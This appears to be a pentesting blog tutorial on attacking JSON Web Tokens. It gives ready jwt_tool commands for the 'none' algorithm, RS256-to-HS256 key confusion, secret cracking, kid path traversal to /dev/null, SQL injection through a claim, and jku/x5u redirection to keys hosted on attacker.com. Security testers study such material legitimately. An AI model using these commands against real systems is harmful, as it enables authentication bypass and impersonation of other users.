JSON Web Token is commonly used for authorization and in its compact form, it consists of three elements:
This is a JSON object which is the metadata of the token mostly used to define its type, algorithm’s name being used for signing the Signature like “HS256”, “RS256” etc. and other parameters like “kid”, “jku”, “x5u” etc.
This is also a JSON object and is used to store the user’s information like id, username, role, token generation time and other custom claims.
This is the most important part as it decides the integrity of the token by signing the Base64-URL encoded Header and Payload separated by a period(.) with the secret key. For example, to generate a token with HS256 algorithm, pseudo-code would be like this:
// Use Base64-URL algorithm for encoding and concatenate with a dotdata = (base64urlEncode(header) + '.' + base64urlEncode(payload))// Use HS256 algorithm with "SECRET_KEY" string as a secretsignature = HMACSHA256(data , SECRET_KEY)// Complete token
JWT = data + "." + base64UrlEncode(signature)
In general, JWT can be generated with two encryption mechanisms called Symmetric and Asymmetric encryption.
Symmetric:
This mechanism requires a single key to create and verify the JWT.
For example, if Bob has generated a JWT with “h1dden_messag3” as a secret key, then any person who knows the key (i.e h1dden_messag3) can modify the token using that key and the token would still be valid. This way they can impersonate as any user. The most common algorithm for this type is HS256.
Asymmetric:
This mechanism requires a Public key for verification and a Private key for signing the Signature.
For example, if Bob has used this encryption, then he is the only one who can create a new token using the private key, whereas Alice can only verify the token using public key, but cannot modify it. The most common algorithm for this type is RS256.
As discussed above to forge a token, one must have the correct keys (e.g. secret key for HS256, public and private keys for RS256) but if JWT’s configuration is not implemented correctly, then there are many ways to bypass the controls and modify the token to gain an unauthorized access.
To perform all of these attacks I will be using JWT_Tool and you can practice them using this Lab
If an application fails to verify the value of “alg” header, then we can change its value to “none” and this way it omits the need of a valid Signature for verification. For example:
// Modified Header of JWT after changing the "alg" parameter{
"alg": "none",
"typ": "JWT"
}
Command:
python3 jwt_tool.py <JWT> -X a
Here jwt_tool created different payloads to exploit this vulnerability and bypass all the restrictions by omitting the Signature section.
As I have explained above RS256 algorithm needs a private key in order to tamper the data and a corresponding public key to verify the authenticity of the Signature. But if we able to change the signing algorithm from RS256 to HS256, we would force the Application to use only one key to do the both tasks which is the normal behavior of the HMAC algorithm.
Hence, this way the workflow would convert from Asymmetric to Symmetric encryption and now we can sign the new tokens with the same public key.
Command:
python3 jwt_tool.py <JWT> -S hs256 -k public.pem
Here first I have downloaded the public key(public.pem) from the Application and then sign the token with HS256 algorithm using that key. This way we can produce new tokens and can inject payload in any existing claim.
Sometimes while fuzzing the data in the Header and Payload section, if the Application returned no error, then it means Signature is not being verified after it has been signed by the Authorization server. This way we can inject any payload in the claim and the token will always be valid.
Command:
python3 jwt_tool.py <JWT> -I -pc name -pv admin
Here as the Signature part is not being checked, therefore I can temper the “name” claim present in the Payload section and can become the “admin”
We can gain access to SECRET_KEY file via vulnerabilities like LFI, XXE, SSRF etc. but if that is not possible, then other attacks can still be made to check if the token is using any weak secret string for the encryption.
For this purpose, a BurpSuite’s extension called JWT Heartbreaker can be useful.
This exposure would compromise the whole security mechanism as now we can generate arbitrary tokens with the secret key.
But to ensure that the string which we got is the actual SECRET_KEY or not ? We can use the Crack feature of the jwt_tool.
Command:
python3 jwt_tool.py <JWT> -C -d secrets.txt
// Use -p flag for a string
Key ID (kid) is an optional header having a string type which is used to indicate the specific key present in the filesystem or a database and then use its content for verifying the Signature. This parameter is helpful if the Application has multiple keys for signing the tokens, but can be dangerous if it is injectable because then an attacker can point to a specific file which content is predictable.
For example, “/dev/null” is called the null device file and will always return nothing, so it would work perfectly in Unix based systems.
Command:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Alternatively, you can use any file present in the web root like CSS or JS and use its content to verify the Signature.
Another solution for this challenge:
Command:
python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"
This vulnerability can occur if any parameter which is retrieving some value from the database is not being sanitized properly. Recently, I have been able to solve a CTF challenge with this trick.
The Application was using RS256 algorithm, but the public key was visible in “pk” claim present in Payload section, and hence I was able to convert the signing algorithm to HS256 and been allowed to create new tokens.
Command to enumerate the number of columns:
python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem// Increment the value by 1 until an error will occur
The JSON Web Key Set (JWKS) is a set of public keys which are used for token verification. Here is an example:
This file is stored in a Trusted server and the Application can point to this file via “jku” and “x5u” Header parameters, but if we being able to manipulate the URL via tricks like Open redirect, adding @ symbol after the hostname etc.
Then we can redirect the Application to our malicious server instead of the Trusted server and this way we can generate new tokens because both public and private keys are controlled by us.
This parameter points to a set of public keys in JSON-encoded format (attributes n and e in JWKS) and “jwt_tool” auto generate the JWKS file named “jwttool_custom_jwks.json” for this attack at the first run of tool after installation.
Command:
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"
This parameter points to X.509 public key certificate or chain of certificates (attribute x5c in JWKS) and you can generate this certificate with the corresponding private key like this:
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
Here using OpenSSL, certificate got created in “attacker.crt” which now can be embedded in a JWKS file with “x5c” attribute and the exploitation can be done like this:
Command:
python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
Note: The best and free way to serve the file is by using NGINX + NGROK 😃
If server embed public keys directly in the token via “jwk” (JSON Web Key) or “x5c” (X.509 Certificate Chain) parameters then try to replace them with your own public keys and sign the token with the corresponding Private key.
Suppose if an Application is restricting any manipulated URL in “jku” or “x5c” parameters, then we can use Response Header injection vulnerability to add inline JWKS in the HTTP response and force the Application to use this for Signature verification.
To demonstrate this attack, I have written a Python script which can be found here.
JSON Web Tokens are another form of user input and all the parameters must be sanitized properly, otherwise it may lead to vulnerabilities like LFI, RCE etc. but this does not mean the Application is still secure.
Because if an attacker cannot forge JWTs then will try to steal them with XSS, CSRF, CORS misconfiguration etc. More info can be found here.
Please test for these attacks only on legally permitted systems otherwise you might end up in Jail 😎
Jokes apart, please give me your feedback if you find this article helpful and you can find me on Twitter @nehatarick
Happy Pentesting!